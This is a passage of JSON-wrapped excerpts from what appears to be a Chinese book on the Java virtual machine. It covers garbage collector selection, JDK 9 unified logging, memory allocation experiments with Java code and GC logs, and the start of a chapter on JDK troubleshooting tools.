System公司的PGC、C4等收集器，再加上本章中并没有出现，但其实也颇为常用的OpenJ9中的垃圾收集器，把这些收集器罗列出来就仿佛是一幅琳琅画卷、一部垃圾收集的技术演进史。现在可能有读者要犯选择困难症了，我们应该如何选择一款适合自己应用的收集器呢？这个问题的答案主要受以下三个因素影响： ·应用程序的主要关注点是什么？如果是数据分析、科学计算类的任务，目标是能尽快算出结果，那吞吐量就是主要关注点；如果是SLA应用，那停顿时间直接影响服务质量，严重的甚至会导致事务超时，这样延迟就是主要关注点；而如果是客户端应用或者嵌入式应用，那垃圾收集的内存占用则是不可忽视的。 ·运行应用的基础设施如何？譬如硬件规格，要涉及的系统架构是x86-32/64、SPARC还是ARM/Aarch64；处理器的数量多少，分配内存的大小；选择的操作系统是Linux、Solaris还是Windows等。 ·使用JDK的发行商是什么？版本号是多少？是ZingJDK/Zulu、OracleJDK、Open-JDK、OpenJ9抑或是其他公司的发行版？该JDK对应了《Java虚拟机规范》的哪个版本？ 一般来说，收集器的选择就从以上这几点出发来考虑。举个例子，假设某个直接面向用户提供服务的B/S系统准备选择垃圾收集器，一般来说延迟时间是这类应用的主要关注点，那么： ·如果你有充足的预算但没有太多调优经验，那么一套带商业技术支持的专有硬件或者软件解决方案是不错的选择，Azul公司以前主推的Vega系统和现在主推的Zing VM是这方面的代表，这样你就可以使用传说中的C4收集器了。 ·如果你虽然没有足够预算去使用商业解决方案，但能够掌控软硬件型号，使用较新的版本，同时又特别注重延迟，那ZGC很值得尝试。 ·如果你对还处于实验状态的收集器的稳定性有所顾虑，或者应用必须运行在Win-dows操作系统下，那ZGC就无缘了，试试Shenandoah吧。 ·如果你接手的是遗留系统，软硬件基础设施和JDK版本都比较落后，那就根据内存规模衡量一下，对于大概4GB到6GB以下的堆内存，CMS一般能处理得比较好，而对于更大的堆内存，可重点考察一下G1。 当然，以上都是仅从理论出发的分析，实战中切不可纸上谈兵，根据系统实际情况去测试才是选择收集器的最终依据。"},
    {"text": "3.7.3 虚拟机及垃圾收集器日志 阅读分析虚拟机和垃圾收集器的日志是处理Java虚拟机内存问题必备的基础技能，垃圾收集器日志是一系列人为设定的规则，多少有点随开发者编码时的心情而定，没有任何的“业界标准”可言，换句话说，每个收集器的日志格式都可能不一样。"},
    {"text": "除此以外还有一个麻烦，在JDK 9以前，HotSpot并没有提供统一的日志处理框架，虚拟机各个功能模块的日志开关分布在不同的参数上，日志级别、循环日志大小、输出格式、重定向等设置在不同功能上都要单独解决。 直到JDK 9，这种混乱不堪的局面才终于消失，HotSpot所有功能的日志都收归到了“-Xlog”参数上，这个参数的能力也相应被极大拓展了： -Xlog[:[selector][:[output][:[decorators][:output-options]]]] 命令行中最关键的参数是选择器（Selector），它由标签（Tag）和日志级别（Level）共同组成。"},
    {"text": "垃圾收集器的标签名称为“gc”，由此可见，垃圾收集器日志只是HotSpot众多功能日志的其中一项，全部支持的功能模块标签名如下所示： add，age，alloc，annotation，aot，arguments，attach，barrier，biasedlocking，blocks，bot，breakpoint，bytecode，census，class，classhisto，cleanup，compaction，comparator，constraints，constantpool，coops，cpu，cset，data，defaultmethods，dump，ergo，event，exceptions，exit，fingerprint，freelist，gc，hashtables，heap，humongous，ihop，iklass，init，itables，jfr，jni，jvmti，liveness，load，loader，logging，mark，marking，metadata，metaspace，method，mmu，modules，monitorinflation，monitormismatch，nmethod，normalize，objecttagging，obsolete，oopmap，os，pagesize，parser，patch，path，phases，plab，preorder，promotion，protectiondomain，purge，redefine，ref，refine，region，remset，resolve，safepoint，scavenge，scrub，setting，stackmap，stacktrace，stackwalk，start，startuptime，state，stats，stringdedup，stringtable，subclass，survivor，sweep，system，task，thread，time，timer，tlab，unload，update，verification，verify，vmoperation，vtables，workgang 日志级别从低到高，共有Trace，Debug，Info，Warning，Error，Off六种级别，日志级别决定了输出信息的详细程度，默认级别为Info，HotSpot的日志规则与Log4j、SLF4j这类Java日志框架大体上是一致的。"},
    {"text": "·timemillis：当前时间的毫秒数，相当于System.currentTimeMillis()的输出。 ·uptimemillis：虚拟机启动到现在经过的毫秒数。 ·timenanos：当前时间的纳秒数，相当于System.nanoTime()的输出。 ·uptimenanos：虚拟机启动到现在经过的纳秒数。"},
    {"text": "如果不指定，默认值是uptime、level、tags这三个，此时日志输出类似于以下形式： [3.080s][info][gc,cpu] GC(5) User=0.03s Sys=0.00s Real=0.01s 下面笔者举几个例子，展示在JDK 9统一日志框架前、后是如何获得垃圾收集器过程的相关信息，以下均以JDK 9的G1收集器（JDK 9下默认收集器就是G1，所以命令行中没有指定收集器）为例。"},
    {"text": "在JDK 9之前使用-XX：+PrintAdaptive-SizePolicy，JDK 9之后使用-Xlog：gc+ergo*=trace： bash-3.2$ java -Xlog:gc+ergo*=trace GCTest [0.122s][debug][gc,ergo,refine] Initial Refinement Zones: green: 23, yellow: 69, red: 115, min yellow size: 46 [0.142s][debug][gc,ergo,heap ] Expand the heap. requested expansion amount:268435456B expansion amount:268435456B [2.475s][trace][gc,ergo,cset ] GC(0) Start choosing CSet. pending cards: 0 predicted base time: 10.00ms remaining time: 190.00ms target pause time: 200.00ms [2.476s][trace][gc,ergo,cset ] GC(0) Add young regions to CSet. eden: 24 regions, survivors: 0 regions, predicted young region time: 367.19ms, target pause time: 200.00ms [2.476s][debug][gc,ergo,cset ] GC(0) Finish choosing CSet. old: 0 regions, predicted old region time: 0.00ms, time remaining: 0.00 [2.826s][debug][gc,ergo ] GC(0) Running G1 Clear Card Table Task using 1 workers for 1 units of work for 24 regions. [2.827s][debug][gc,ergo ] GC(0) Running G1 Free Collection Set using 1 workers for collection set length 24 [2.828s][trace][gc,ergo,refine] GC(0) Updating Refinement Zones: update_rs time: 0.004ms, update_rs buffers: 0, update_rs goal time: 19.999ms 6）查看熬过收集后剩余对象的年龄分布信息，在JDK 9前使用-XX：+PrintTenuring-Distribution，JDK 9之后使用-Xlog：gc+age=trace： bash-3.2$ java -Xlog:gc+age=trace GCTest [2.406s][debug][gc,age] GC(0) Desired survivor size 1572864 bytes, new threshold 15 (max threshold 15) [2.745s][trace][gc,age] GC(0) Age table with threshold 15 (max threshold 15) [2.745s][trace][gc,age] GC(0) - age 1: 3100640 bytes, 3100640 total [4.700s][debug][gc,age] GC(5) Desired survivor size 2097152 bytes, new threshold 15 (max threshold 15) [4.810s][trace][gc,age] GC(5) Age table with threshold 15 (max threshold 15) [4.810s][trace][gc,age] GC(5) - age 1: 2658280 bytes, 2658280 total [4.810s][trace][gc,age] GC(5) - age 2: 1527360 bytes, 4185640 total 囿于篇幅原因，不再一一列举，表3-3给出了全部在JDK 9中被废弃的日志相关参数及它们在JDK 9后使用-Xlog的代替配置形式。"},
    {"text": "3.7.4 垃圾收集器参数总结 HotSpot虚拟机中的各种垃圾收集器到此全部介绍完毕，在描述过程中提到了很多虚拟机非稳定的运行参数，下面表3-4中整理了这些参数，供读者实践时参考。 表3-4 垃圾收集相关的常用参数 3.8 实战：内存分配与回收策略 Java技术体系的自动内存管理，最根本的目标是自动化地解决两个问题：自动给对象分配内存以及自动回收分配给对象的内存。关于回收内存这方面，笔者已经使用了大量篇幅去介绍虚拟机中的垃圾收集器体系以及运作原理，现在我们来探讨一下关于给对象分配内存的那些事儿。 对象的内存分配，从概念上讲，应该都是在堆上分配（而实际上也有可能经过即时编译后被拆散为标量类型并间接地在栈上分配 [1] ）。在经典分代的设计下，新生对象通常会分配在新生代中，少数情况下（例如对象大小超过一定阈值）也可能会直接分配在老年代。对象分配的规则并不是固定的，《Java虚拟机规范》并未规定新对象的创建和存储细节，这取决于虚拟机当前使用的是哪一种垃圾收集器，以及虚拟机中与内存相关的参数的设定。 接下来的几小节内容，笔者将会讲解若干最基本的内存分配原则，并通过代码去验证这些原则。本节出现的代码如无特别说明，均使用HotSpot虚拟机，以客户端模式运行。由于并未指定收集器组合，因此，本节验证的实际是使用Serial加Serial Old客户端默认收集器组合下的内存分配和回收的策略，这种配置和收集器组合也许是开发人员做研发时的默认组合（其实现在研发时很多也默认用服务端虚拟机了），但在生产环境中一般不会这样用，所以大家主要去学习的是分析方法，而列举的分配规则反而只是次要的。读者也不妨根据自己项目中使用的收集器编写一些程序去实践验证一下使用其他几种收集器的内存分配规则。 [1] 即时编译器的栈上分配优化可参见第11章。"},
    {"text": "3.8.1 对象优先在Eden分配 大多数情况下，对象在新生代Eden区中分配。当Eden区没有足够空间进行分配时，虚拟机将发起一次Minor GC。 HotSpot虚拟机提供了-XX：+PrintGCDetails这个收集器日志参数，告诉虚拟机在发生垃圾收集行为时打印内存回收日志，并且在进程退出的时候输出当前的内存各区域分配情况。在实际的问题排查中，收集器日志常会打印到文件后通过工具进行分析，不过本节实验的日志并不多，直接阅读就能看得很清楚。 在代码清单3-7的testAllocation()方法中，尝试分配三个2MB大小和一个4MB大小的对象，在运行时通过-Xms20M、-Xmx20M、-Xmn10M这三个参数限制了Java堆大小为20MB，不可扩展，其中10MB分配给新生代，剩下的10MB分配给老年代。-XX：Survivor-Ratio=8决定了新生代中Eden区与一个Survivor区的空间比例是8∶1，从输出的结果也清晰地看到“eden space 8192K、from space 1024K、to space 1024K”的信息，新生代总可用空间为9216KB（Eden区+1个Survivor区的总容量）。 执行testAllocation()中分配allocation4对象的语句时会发生一次Minor GC，这次回收的结果是新生代6651KB变为148KB，而总内存占用量则几乎没有减少（因为allocation1、2、3三个对象都是存活的，虚拟机几乎没有找到可回收的对象）。产生这次垃圾收集的原因是为allocation4分配内存时，发现Eden已经被占用了6MB，剩余空间已不足以分配allocation4所需的4MB内存，因此发生Minor GC。垃圾收集期间虚拟机又发现已有的三个2MB大小的对象全部无法放入Survivor空间（Survivor空间只有1MB大小），所以只好通过分配担保机制提前转移到老年代去。 这次收集结束后，4MB的allocation4对象顺利分配在Eden中。因此程序执行完的结果是Eden占用4MB（被allocation4占用），Survivor空闲，老年代被占用6MB（被allocation1、2、3占用）。通过GC日志可以证实这一点。 代码清单3-7 新生代Minor GC private static final int _1MB = 1024 * 1024; /** * VM参数：-verbose:gc -Xms20M -Xmx20M -Xmn10M -XX:+PrintGCDetails -XX:SurvivorRatio=8 */ public static void testAllocation() { byte[] allocation1, allocation2, allocation3, allocation4; allocation1 = new byte[2 * _1MB]; allocation2 = new byte[2 * _1MB]; allocation3 = new byte[2 * _1MB]; allocation4 = new byte[4 * _1MB]; // 出现一次Minor GC } 运行结果： [GC [DefNew: 6651K->148K(9216K), 0.0070106 secs] 6651K->6292K(19456K), 0.0070426 secs] [Times: user=0.00 sys=0.00, real=0.00 secs] Heap def new generation total 9216K, used 4326K [0x029d0000, 0x033d0000, 0x033d0000) eden space 8192K, 51% used [0x029d0000, 0x02de4828, 0x031d0000) from space 1024K, 14% used [0x032d0000, 0x032f5370, 0x033d0000) to space 1024K, 0% used [0x031d0000, 0x031d0000, 0x032d0000) tenured generation total 10240K, used 6144K [0x033d0000, 0x03dd0000, 0x03dd0000) the space 10240K, 60% used [0x033d0000, 0x039d0030, 0x039d0200, 0x03dd0000) compacting perm gen total 12288K, used 2114K [0x03dd0000, 0x049d0000, 0x07dd0000) the space 12288K, 17% used [0x03dd0000, 0x03fe0998, 0x03fe0a00, 0x049d0000) No shared spaces configured."},
    {"text": "3.8.2 大对象直接进入老年代 大对象就是指需要大量连续内存空间的Java对象，最典型的大对象便是那种很长的字符串，或者元素数量很庞大的数组，本节例子中的byte[]数组就是典型的大对象。大对象对虚拟机的内存分配来说就是一个不折不扣的坏消息，比遇到一个大对象更加坏的消息就是遇到一群“朝生夕灭”的“短命大对象”，我们写程序的时候应注意避免。在Java虚拟机中要避免大对象的原因是，在分配空间时，它容易导致内存明明还有不少空间时就提前触发垃圾收集，以获取足够的连续空间才能安置好它们，而当复制对象时，大对象就意味着高额的内存复制开销。HotSpot虚拟机提供了-XX：PretenureSizeThreshold参数，指定大于该设置值的对象直接在老年代分配，这样做的目的就是避免在Eden区及两个Survivor区之间来回复制，产生大量的内存复制操作。 执行代码清单3-8中的testPretenureSizeThreshold()方法后，我们看到Eden空间几乎没有被使用，而老年代的10MB空间被使用了40%，也就是4MB的allocation对象直接就分配在老年代中，这是因为-XX：PretenureSizeThreshold被设置为3MB（就是3145728，这个参数不能与-Xmx之类的参数一样直接写3MB），因此超过3MB的对象都会直接在老年代进行分配。 注意 -XX：PretenureSizeThreshold参数只对Serial和ParNew两款新生代收集器有效，HotSpot的其他新生代收集器，如Parallel Scavenge并不支持这个参数。如果必须使用此参数进行调优，可考虑ParNew加CMS的收集器组合。 代码清单3-8 大对象直接进入老年代 private static final int _1MB = 1024 * 1024; /** * VM参数：-verbose:gc -Xms20M -Xmx20M -Xmn10M -XX:+PrintGCDetails -XX:SurvivorRatio=8 * -XX:PretenureSizeThreshold=3145728 */ public static void testPretenureSizeThreshold() { byte[] allocation; allocation = new byte[4 * _1MB]; //直接分配在老年代中 } 运行结果： Heap def new generation total 9216K, used 671K [0x029d0000, 0x033d0000, 0x033d0000) eden space 8192K, 8% used [0x029d0000, 0x02a77e98, 0x031d0000) from space 1024K, 0% used [0x031d0000, 0x031d0000, 0x032d0000) to space 1024K, 0% used [0x032d0000, 0x032d0000, 0x033d0000) tenured generation total 10240K, used 4096K [0x033d0000, 0x03dd0000, 0x03dd0000) the space 10240K, 40% used [0x033d0000, 0x037d0010, 0x037d0200, 0x03dd0000) compacting perm gen total 12288K, used 2107K [0x03dd0000, 0x049d0000, 0x07dd0000) the space 12288K, 17% used [0x03dd0000, 0x03fdefd0, 0x03fdf000, 0x049d0000) No shared spaces configured."},
    {"text": "3.8.3 长期存活的对象将进入老年代 HotSpot虚拟机中多数收集器都采用了分代收集来管理堆内存，那内存回收时就必须能决策哪些存活对象应当放在新生代，哪些存活对象放在老年代中。为做到这点，虚拟机给每个对象定义了一个对象年龄（Age）计数器，存储在对象头中（详见第2章）。对象通常在Eden区里诞生，如果经过第一次Minor GC后仍然存活，并且能被Survivor容纳的话，该对象会被移动到Survivor空间中，并且将其对象年龄设为1岁。对象在Survivor区中每熬过一次Minor GC，年龄就增加1岁，当它的年龄增加到一定程度（默认为15），就会被晋升到老年代中。对象晋升老年代的年龄阈值，可以通过参数-XX：MaxTenuringThreshold设置。 读者可以试试分别以-XX：MaxTenuringThreshold=1和-XX：MaxTenuringThreshold=15两种设置来执行代码清单3-9中的testTenuringThreshold()方法，此方法中allocation1对象需要256KB内存，Survivor空间可以容纳。当-XX：MaxTenuringThreshold=1时，allocation1对象在第二次GC发生时进入老年代，新生代已使用的内存在垃圾收集以后非常干净地变成0KB。而当-XX：MaxTenuringThreshold=15时，第二次GC发生后，allocation1对象则还留在新生代Survivor空间，这时候新生代仍然有404KB被占用。 代码清单3-9 长期存活的对象进入老年代 private static final int _1MB = 1024 * 1024; /** * VM参数：-verbose:gc -Xms20M -Xmx20M -Xmn10M -XX:+PrintGCDetails -XX:Survivor- Ratio=8 -XX:MaxTenuringThreshold=1 * -XX:+PrintTenuringDistribution */ @SuppressWarnings(\"unused\") public static void testTenuringThreshold() { byte[] allocation1, allocation2, allocation3; allocation1 = new byte[_1MB / 4]; // 什么时候进入老年代决定于XX:MaxTenuring- Threshold设置 allocation2 = new byte[4 * _1MB]; allocation3 = new byte[4 * _1MB]; allocation3 = null; allocation3 = new byte[4 * _1MB]; } 以-XX：MaxTenuringThreshold=1参数来运行的结果： [GC [DefNew Desired Survivor size 524288 bytes, new threshold 1 (max 1) - age 1: 414664 bytes, 414664 total : 4859K->404K(9216K), 0.0065012 secs] 4859K->4500K(19456K), 0.0065283 secs] [Times: user=0.02 sys=0.00, real=0.02 secs] [GC [DefNew Desired Survivor size 524288 bytes, new threshold 1 (max 1) : 4500K->0K(9216K), 0.0009253 secs] 8596K->4500K(19456K), 0.0009458 secs] [Times: user=0.00 sys=0.00, real=0.00 secs] Heap def new generation total 9216K, used 4178K [0x029d0000, 0x033d0000, 0x033d0000) eden space 8192K, 51% used [0x029d0000, 0x02de4828, 0x031d0000) from space 1024K, 0% used [0x031d0000, 0x031d0000, 0x032d0000) to space 1024K, 0% used [0x032d0000, 0x032d0000, 0x033d0000) tenured generation total 10240K, used 4500K [0x033d0000, 0x03dd0000, 0x03dd0000) the space 10240K, 43% used [0x033d0000, 0x03835348, 0x03835400, 0x03dd0000) com\\pacting perm gen total 12288K, used 2114K [0x03dd0000, 0x049d0000, 0x07dd0000) the space 12288K, 17% used [0x03dd0000, 0x03fe0998, 0x03fe0a00, 0x049d0000) No shared spaces configured. 以-XX：MaxTenuringThreshold=15参数来运行的结果： [GC [DefNew Desired Survivor size 524288 bytes, new threshold 15 (max 15) - age 1: 414664 bytes, 414664 total : 4859K->404K(9216K), 0.0049637 secs] 4859K->4500K(19456K), 0.0049932 secs] [Times: user=0.00 sys=0.00, real=0.00 secs] [GC [DefNew Desired Survivor size 524288 bytes, new threshold 15 (max 15) - age 2: 414520 bytes, 414520 total : 4500K->404K(9216K), 0.0008091 secs] 8596K->4500K(19456K), 0.0008305 secs] [Times: user=0.00 sys=0.00, real=0.00 secs] Heap def new generation total 9216K, used 4582K [0x029d0000, 0x033d0000, 0x033d0000) eden space 8192K, 51% used [0x029d0000, 0x02de4828, 0x031d0000) from space 1024K, 39% used [0x031d0000, 0x03235338, 0x032d0000) to space 1024K, 0% used [0x032d0000, 0x032d0000, 0x033d0000) tenured generation total 10240K, used 4096K [0x033d0000, 0x03dd0000, 0x03dd0000) the space 10240K, 40% used [0x033d0000, 0x037d0010, 0x037d0200, 0x03dd0000) compacting perm gen total 12288K, used 2114K [0x03dd0000, 0x049d0000, 0x07dd0000) the space 12288K, 17% used [0x03dd0000, 0x03fe0998, 0x03fe0a00, 0x049d0000) No shared spaces configured."},
    {"text": "3.8.4 动态对象年龄判定 为了能更好地适应不同程序的内存状况，HotSpot虚拟机并不是永远要求对象的年龄必须达到-XX：MaxTenuringThreshold才能晋升老年代，如果在Survivor空间中相同年龄所有对象大小的总和大于Survivor空间的一半，年龄大于或等于该年龄的对象就可以直接进入老年代，无须等到-XX：MaxTenuringThreshold中要求的年龄。 执行代码清单3-10中的testTenuringThreshold2()方法，并将设置-XX：MaxTenuring-Threshold=15，发现运行结果中Survivor占用仍然为0%，而老年代比预期增加了6%，也就是说allocation1、allocation2对象都直接进入了老年代，并没有等到15岁的临界年龄。因为这两个对象加起来已经到达了512KB，并且它们是同年龄的，满足同年对象达到Survivor空间一半的规则。我们只要注释掉其中一个对象的new操作，就会发现另外一个就不会晋升到老年代了。 代码清单3-10 动态对象年龄判定 private static final int _1MB = 1024 * 1024; /** * VM参数：-verbose:gc -Xms20M -Xmx20M -Xmn10M -XX:+PrintGCDetails -XX:SurvivorRatio=8 -XX:MaxTenuringThreshold=15 * -XX:+PrintTenuringDistribution */ @SuppressWarnings(\"unused\") public static void testTenuringThreshold2() { byte[] allocation1, allocation2, allocation3, allocation4; allocation1 = new byte[_1MB / 4]; // allocation1+allocation2大于survivo空间一半 allocation2 = new byte[_1MB / 4]; allocation3 = new byte[4 * _1MB]; allocation4 = new byte[4 * _1MB]; allocation4 = null; allocation4 = new byte[4 * _1MB]; } 运行结果： [GC [DefNew Desired Survivor size 524288 bytes, new threshold 1 (max 15) - age 1: 676824 bytes, 676824 total : 5115K->660K(9216K), 0.0050136 secs] 5115K->4756K(19456K), 0.0050443 secs] [Times: user=0.00 sys=0.01, real=0.01 secs] [GC [DefNew Desired Survivor size 524288 bytes, new threshold 15 (max 15) : 4756K->0K(9216K), 0.0010571 secs] 8852K->4756K(19456K), 0.0011009 secs] [Times: user=0.00 sys=0.00, real=0.00 secs] Heap def new generation total 9216K, used 4178K [0x029d0000, 0x033d0000, 0x033d0000) eden space 8192K, 51% used [0x029d0000, 0x02de4828, 0x031d0000) from space 1024K, 0% used [0x031d0000, 0x031d0000, 0x032d0000) to space 1024K, 0% used [0x032d0000, 0x032d0000, 0x033d0000) tenured generation total 10240K, used 4756K [0x033d0000, 0x03dd0000, 0x03dd0000) the space 10240K, 46% used [0x033d0000, 0x038753e8, 0x03875400, 0x03dd0000) compacting perm gen total 12288K, used 2114K [0x03dd0000, 0x049d0000, 0x07dd0000) the space 12288K, 17% used [0x03dd0000, 0x03fe09a0, 0x03fe0a00, 0x049d0000) No shared spaces configured."},
    {"text": "3.8.5 空间分配担保 在发生Minor GC之前，虚拟机必须先检查老年代最大可用的连续空间是否大于新生代所有对象总空间，如果这个条件成立，那这一次Minor GC可以确保是安全的。如果不成立，则虚拟机会先查看-XX：HandlePromotionFailure参数的设置值是否允许担保失败（Handle Promotion Failure）；如果允许，那会继续检查老年代最大可用的连续空间是否大于历次晋升到老年代对象的平均大小，如果大于，将尝试进行一次Minor GC，尽管这次Minor GC是有风险的；如果小于，或者-XX：HandlePromotionFailure设置不允许冒险，那这时就要改为进行一次Full GC。 解释一下“冒险”是冒了什么风险：前面提到过，新生代使用复制收集算法，但为了内存利用率，只使用其中一个Survivor空间来作为轮换备份，因此当出现大量对象在Minor GC后仍然存活的情况——最极端的情况就是内存回收后新生代中所有对象都存活，需要老年代进行分配担保，把Survivor无法容纳的对象直接送入老年代，这与生活中贷款担保类似。老年代要进行这样的担保，前提是老年代本身还有容纳这些对象的剩余空间，但一共有多少对象会在这次回收中活下来在实际完成内存回收之前是无法明确知道的，所以只能取之前每一次回收晋升到老年代对象容量的平均大小作为经验值，与老年代的剩余空间进行比较，决定是否进行Full GC来让老年代腾出更多空间。 取历史平均值来比较其实仍然是一种赌概率的解决办法，也就是说假如某次Minor GC存活后的对象突增，远远高于历史平均值的话，依然会导致担保失败。如果出现了担保失败，那就只好老老实实地重新发起一次Full GC，这样停顿时间就很长了。虽然担保失败时绕的圈子是最大的，但通常情况下都还是会将-XX：HandlePromotionFailure开关打开，避免Full GC过于频繁。参见代码清单3-11，请读者先以JDK 6 Update 24之前的HotSpot运行测试代码。 代码清单3-11 空间分配担保 private static final int _1MB = 1024 * 1024; /** * VM参数：-Xms20M -Xmx20M -Xmn10M -XX:+PrintGCDetails -XX:SurvivorRatio=8 -XX:-Handle- PromotionFailure */ @SuppressWarnings(\"unused\") public static void testHandlePromotion() { byte[] allocation1, allocation2, allocation3, allocation4, allocation5, alloca-tion6, allocation7; allocation1 = new byte[2 * _1MB]; allocation2 = new byte[2 * _1MB]; allocation3 = new byte[2 * _1MB]; allocation1 = null; allocation4 = new byte[2 * _1MB]; allocation5 = new byte[2 * _1MB]; allocation6 = new byte[2 * _1MB]; allocation4 = null; allocation5 = null; allocation6 = null; allocation7 = new byte[2 * _1MB]; } 以-XX：HandlePromotionFailure=false参数来运行的结果： [GC [DefNew: 6651K->148K(9216K), 0.0078936 secs] 6651K->4244K(19456K), 0.0079192 secs] [Times: user=0.00 sys=0.02, real=0.02 secs] [GC [DefNew: 6378K->6378K(9216K), 0.0000206 secs][Tenured: 4096K->4244K(10240K), 0.0042901 secs] 10474K->4244K(19456K), [Perm : 2104K->2104K(12288K)], 0.0043613 secs] [Times: user=0.00 sys=0.00, real=0.00 secs] 以-XX：HandlePromotionFailure=true参数来运行的结果： [GC [DefNew: 6651K->148K(9216K), 0.0054913 secs] 6651K->4244K(19456K), 0.0055327 secs] [Times: user=0.00 sys=0.00, real=0.00 secs] [GC [DefNew: 6378K->148K(9216K), 0.0006584 secs] 10474K->4244K(19456K), 0.0006857 secs] [Times: user=0.00 sys=0.00, real=0.00 secs] 在JDK 6 Update 24之后，这个测试结果就有了差异，-XX：HandlePromotionFailure参数不会再影响到虚拟机的空间分配担保策略，观察OpenJDK中的源码变化（见代码清单3-12），虽然源码中还定义了-XX：HandlePromotionFailure参数，但是在实际虚拟机中已经不会再使用它。JDK 6 Update 24之后的规则变为只要老年代的连续空间大于新生代对象总大小或者历次晋升的平均大小，就会进行Minor GC，否则将进行Full GC。 代码清单3-12 HotSpot中空间分配检查的代码片段 bool TenuredGeneration::promotion_attempt_is_safe(size_t max_promotion_in_bytes) const { // 老年代最大可用的连续空间 size_t available = max_contiguous_available(); // 每次晋升到老年代的平均大小 size_t av_promo = (size_t)gc_stats()->avg_promoted()->padded_average(); // 老年代可用空间是否大于平均晋升大小，或者老年代可用空间是否大于当此GC时新生代所有对象容量 bool res = (available >= av_promo) || (available >= max_promotion_in_bytes); return res; }"},
    {"text": "3.9 本章小结 本章介绍了垃圾收集的算法、若干款HotSpot虚拟机中提供的垃圾收集器的特点以及运作原理。通过代码实例验证了Java虚拟机中自动内存分配及回收的主要规则。 垃圾收集器在许多场景中都是影响系统停顿时间和吞吐能力的重要因素之一，虚拟机之所以提供多种不同的收集器以及大量的调节参数，就是因为只有根据实际应用需求、实现方式选择最优的收集方式才能获取最好的性能。没有固定收集器、参数组合，没有最优的调优方法，虚拟机也就没有什么必然的内存回收行为。因此学习虚拟机内存知识，如果要到实践调优阶段，必须了解每个具体收集器的行为、优势劣势、调节参数。在接下来的两章中，作者将会介绍内存分析的工具和一些具体调优的案例。 第4章 虚拟机性能监控、故障处理工具 Java与C++之间有一堵由内存动态分配和垃圾收集技术所围成的高墙，墙外面的人想进去，墙里面的人却想出来。 4.1 概述 经过前面两章对于虚拟机内存分配与回收技术各方面的介绍，相信读者已经建立了一个比较系统、完整的理论基础。理论总是作为指导实践的工具，把这些知识应用到实际工作中才是我们的最终目的。接下来的两章，我们将从实践的角度去认识虚拟机内存管理的世界。 给一个系统定位问题的时候，知识、经验是关键基础，数据是依据，工具是运用知识处理数据的手段。这里说的数据包括但不限于异常堆栈、虚拟机运行日志、垃圾收集器日志、线程快照（threaddump/javacore文件）、堆转储快照（heapdump/hprof文件）等。恰当地使用虚拟机故障处理、分析的工具可以提升我们分析数据、定位并解决问题的效率，但我们在学习工具前，也应当意识到工具永远都是知识技能的一层包装，没有什么工具是“秘密武器”，拥有了就能“包治百病”。"},
    {"text": "4.2 基础故障处理工具 Java开发人员肯定都知道JDK的bin目录中有java.exe、javac.exe这两个命令行工具，但并非所有程序员都了解过JDK的bin目录下其他各种小工具的作用。随着JDK版本的更迭，这些小工具的数量和功能也在不知不觉地增加与增强。除了编译和运行Java程序外，打包、部署、签名、调试、监控、运维等各种场景都可能会用到它们，这些工具如图4-1所示。 图4-1 JDK自带工具 在本章，笔者将介绍这些工具中的一部分，主要是用于监视虚拟机运行状态和进行故障处理的工具。这些故障处理工具并不单纯是被Oracle公司作为“礼物”附赠给JDK的使用者，根据软件可用性和授权的不同，可以把它们划分成三类： · 商业授权工具： 主要是JMC（Java Mission Control）及它要使用到的JFR（Java Flight Recorder），JMC这个原本来自于JRockit的运维监控套件从JDK 7 Update 40开始就被集成到OracleJDK中，JDK 11之前都无须独立下载，但是在商业环境中使用它则是要付费的 [1] 。 · 正式支持工具： 这一类工具属于被长期支持的工具，不同平台、不同版本的JDK之间，这类工具可能会略有差异，但是不会出现某一个工具突然消失的情况 [2] 。 · 实验性工具： 这一类工具在它们的使用说明中被声明为“没有技术支持，并且是实验性质的”（Unsupported and Experimental）产品，日后可能会转正，也可能会在某个JDK版本中无声无息地消失。但事实上它们通常都非常稳定而且功能强大，也能在处理应用程序性能问题、定位故障时发挥很大的作用。 读者如果比较细心的话，还可能会注意到这些工具程序大多数体积都异常小。假如之前没注意到，现在不妨再看看图4-1中的最后一列“大小”，各个工具的体积基本上都稳定在21KB左右。并非JDK开发团队刻意把它们制作得如此精炼、统一，而是因为这些命令行工具大多仅是一层薄包装而已，真正的功能代码是实现在JDK的工具类库中的，读者把图4-1和图4-2两张图片对比一下就可以看得很清楚 [3] 。假如读者使用的是Linux版本的JDK，还可以发现这些工具中不少是由Shell脚本直接写成，可以用文本编辑器打开并编辑修改它们。 图4-2 JDK类库中的工具模块 JDK开发团队选择采用Java语言本身来实现这些故障处理工具是有特别用意的：当应用程序部署到生产环境后，无论是人工物理接触到服务器还是远程Telnet到服务器上都可能会受到限制。借助这些工具类库里面的接口和实现代码，开发者可以选择直接在应用程序中提供功能强大的监控分析功能 [4] 。 本章所讲解的工具大多基于Windows平台下的JDK进行演示，如果读者选用的JDK版本、操作系统不同，那么工具不仅可能数量上有所差别，同一个工具所支持的功能范围和效果都可能会不一样。本章提及的工具，如无特别说明，是JDK 5中就已经存在的，但为了避免运行环境带来的差异和兼容性问题，建议读者使用更高版本的JDK来验证本章介绍的内容。通常高版本JDK的工具有可能向下兼容运行于低版本JDK的虚拟机上的程序，反之则一般不行。 注意 如果读者在工作中需要监控运行于JDK 5的虚拟机之上的程序，在程序启动时请添加参数“-Dcom.sun.management.jmxremote”开启JMX管理功能，否则由于大部分工具都是基于或者要用到JMX（包括下一节的可视化工具），它们都将无法使用，如果被监控程序运行于JDK 6或以上版本的虚拟机之上，那JMX管理默认是开启的，虚拟机启动时无须再添加任何参数。 [1] 无论是GPL、BCL还是OTN协议，JMC在个人开发环境中使用是免费的。 [2] 这并不意味着永久存在，只是被移除前会有“deprecated”的过渡期，正式工具被移除的数量并不比实验性工具来得少。 [3] 图4-2中展示的是JDK 9模块化改造之后的类库形式，在JDK 9前，这些代码实现在jdk\\lib\\tools.jar中。 [4] 有一部分工具的实现并不属于Java SE的标准API，如果引入这些类库，就意味着你的程序只能运行于HotSpot（或一些从Oracle买了JDK的源码许可证的虚拟机）上面，又或者在部署程序时需要一起部署这些工具类库。"},
